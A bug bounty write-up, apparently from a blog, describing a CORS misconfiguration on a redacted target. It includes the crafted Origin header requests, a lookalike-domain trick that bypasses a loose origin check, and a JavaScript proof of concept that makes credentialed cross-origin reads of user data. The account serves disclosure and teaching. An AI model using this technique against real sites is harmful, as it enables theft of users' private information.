CORS Misconfiguration leading to Private Information Disclosure
Hi hackers, today i will talk about CORS that i found in a private program
let’s call it private.com
After doing some recon , i found this domain let’s say xyz.private.com
i sent a request to burp to start doing some crawling and parameter digging and so on , request was sent to the server with Origin header
GET / HTTP/1.1
Host: xyz.private.com
Origin: https://xyz.private.com
Connection: close
the origin header was accepted by Access-Control-Allow-Origin header and the Access-Control-Allow-Credentials was set to true
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE Access-Control-Allow-Origin: https://xyz.private.com
Access-Control-Expose-Headers:
here i started to do some investigation to see how the server handles the origin header
so i sent a request with the main domain only to server and the server accepted it
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE Access-Control-Allow-Origin: https://private.com
Access-Control-Expose-Headers:
i deleted the dot from private.com and it was accepted too , the server checks if the domain name and com exists neglecting any thing between them .
i sent a request with 1 between private and com like this
GET / HTTP/1.1
Host: xyz.private.com
Origin: https://private1com
Connection: close
and it got accepted :)
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE Access-Control-Allow-Origin: https://private1com
Access-Control-Expose-Headers:
i signed a domain on https://ae.000webhost.com with the name https://privatescom.000webhostapp.com , i put “s” instead of 1 because it wasn’t allowed in the subdomain name.
with small piece of code i could make the POC
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script> function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function()
{
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://xyz.private.com", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
and we got the response on our domain , and i could steal any user’s personal information.
i’d like to thank my friend offensive hunterr , he gave me the idea of signing the domain and helped me with the JS code ❤